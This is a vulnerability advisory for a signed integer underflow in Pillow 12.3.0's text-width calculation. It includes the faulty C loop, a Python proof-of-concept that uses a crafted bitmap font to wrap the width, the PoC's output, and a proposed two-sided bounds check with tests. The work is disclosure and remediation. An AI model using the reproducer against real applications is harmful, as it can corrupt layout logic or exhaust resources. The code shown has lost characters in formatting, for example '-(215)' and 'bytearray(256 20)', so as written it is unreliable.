GHSA-4rm8-3hmm-39fg: Integer Overflow

Summary Affected Object and Source

Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/imaging.c:2809:15, xsize += dx

Details The code in Pillow 12.3.0 is: c for (xsize = 0; text; text++) { int dx = self->glyphs[text].dx; if (dx > 0 && xsize > INTMAX - dx) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } xsize += dx; } The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves: dx > 0 => xsize <= INTMAX - dx It does not prove the other half of the contract: dx < 0 => xsize >= INTMIN - dx Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INTMIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.

PoC python """Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with the PyC-Contract UBSan build to obtain the exact native diagnostic. """

from future import annotations

import struct from io import BytesIO

import PIL from PIL import Image, ImageFont

ADVANCE = -(215) CONTROLREPEAT = 65536 WITNESSREPEAT = 65537

def bitmapfont(advance: int) -> ImageFont.ImageFont: metrics = bytearray(256 20) glyphoffset = ord("A") 20 metrics[glyphoffset : glyphoffset + 2] = struct.pack(">h", advance) fontdata = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics) font = ImageFont.ImageFont() font.loadpilfontdata(BytesIO(fontdata), Image.new("1", (1, 1))) return font

def main() -> None: font = bitmapfont(ADVANCE) print(f"Pillow={PIL.version}") print(f"controlmath={ADVANCE CONTROLREPEAT}") print(f"controlreturn={font.getlength('A' CONTROLREPEAT)}") print(f"witnessmath={ADVANCE WITNESSREPEAT}") print(f"witnessreturn={font.getlength('A' WITNESSREPEAT)}")

if name == "main": main()

Observations from a regular 12.3.0 release build:

text Pillow=12.3.0 controlmath=-2147483648 controlreturn=0 witnessmath=-2147516416 witnessreturn=2147450880

The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INTMIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.

Impact The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.

Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.

Recommended Patch and Regression Tests

It is recommended to extend the overflow check to cover both directions: c if ((dx > 0 && xsize > INTMAX - dx) || (dx < 0 && xsize < INTMIN - dx)) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } At a minimum, four test cases should be added: 1. dx = 32767, repeat = 65538 — upper adjacent control (should succeed); 2. dx = 32767, repeat = 65539 — should raise OverflowError; 3. dx = -32768, repeat = 65536 — lower adjacent control (should succeed); 4. dx = -32768, repeat = 65537 — should raise OverflowError.

Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().